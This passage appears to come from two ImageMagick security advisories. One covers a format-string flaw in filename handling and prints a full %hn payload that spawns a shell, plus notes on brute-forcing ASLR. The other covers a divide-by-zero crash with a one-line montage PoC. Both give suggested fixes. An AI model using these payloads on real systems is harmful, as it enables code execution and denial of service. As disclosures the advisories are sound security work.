=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55653==ABORTING
```
Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.
<br>

### 2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

```
 ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa
```
The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.
<br>

**Exploitation Process:**
1. Format string payload corrupts stack pointers through positional parameters
2. Multiple 2-byte writes (%hn) progressively overwrite the return address  
3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)
4. One-gadget executes `/bin/sh` with inherited process permissions
<br>

**Remote Exploitation Feasibility:**
While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.
<br>

**Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

**Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.
<br>

## Impact
This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.
<br>

## Suggested Fix

Two potential mitigation approaches:

1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString`
2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString`
<br>

## Credits
### Team Daemon Fuzz Hunters
**Bug Hunting Master Program, HSpace/Findthegap**
<br>

**Woojin Park**
@jin-156
[1203kids@gmail.com](mailto:1203kids@gmail.com)

**Hojun Lee**
@leehohojune 
[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)

**Youngin Won**
@amethyst0225
[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)

**Siyeon Han**
@hanbunny
[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)

# Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

- In wrappers: `filename:literal`
- From the command line: `-define filename:literal=true`

ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry ":" leads to crash
## Summary
Passing a geometry string containing only a colon (":") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service.

## Details
**Root Cause**
1. `montage -geometry ":" ...` reaches `MagickCore/geometry.c:GetGeometry().`
2. `StringToDouble/InterpretLocaleValue` parses `":"` as `0.0;` then: 
https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355
`WidthValue` (and/or `HeightValue)` is set with a zero dimension.
3. In MagickCore/resize.c:ThumbnailImage(), the code computes:
https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629
causing a division by zero and immediate crash.

The issue is trivially triggerable without external input files (e.g., using `xc:white`).

### Reproduction
Environment
```
Version: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x86_64 0ba1b587b:20250812 https://imagemagick.org
Features: Cipher DPC HDRI
Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib
Compiler: clang (14.0.0)
OS/Arch: Linux x86_64
```
Steps
```
./bin/magick montage -geometry : xc:white null:
```
Observed result
```
IOT instruction (core dumped)
# (Environment-dependent: SIGFPE/abort may be observed.)
```

## PoC
No external file required; the pseudo image xc:white suffices:
```
./bin/magick montage -geometry : xc:white null:
```

## Impact
- **Denial of Service:** A divide-by-zero in `ThumbnailImage()` causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process.


## Suggested fix
Defensively reject zero dimensions early in `ThumbnailImage()`:
```c
if ((columns == 0) || (rows == 0)) {
  (void) ThrowMagickException(exception, GetMagickModule(), OptionError,
    "InvalidGeometry", "thumbnail requires non-zero dimensions: %.20gx%.20g",
    (double) columns, (double) rows);
  return (Image *) NULL;
}
```
Additionally, consider tightening validation in `GetGeometry()` so that colon-only (and similar malformed) inputs do not yield `WidthValue/HeightValue` with zero, or are rejected outright. Variants like `"x:"` or `":x"` may also need explicit handling (maintainer confirmation requested).

## Credits
### Team Daemon Fuzz Hunters
**Bug Hunting Master Program, HSpace/Findthegap**
<br>

**Woojin Park**
@jin-156
[1203kids@gmail.com](mailto:1203kids@gmail.com)

**Hojun Lee**
@leehohojune 
[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)

**Youngin Won**
@amethyst0225
[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)

**Siyeon Han**
@hanbunny
[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)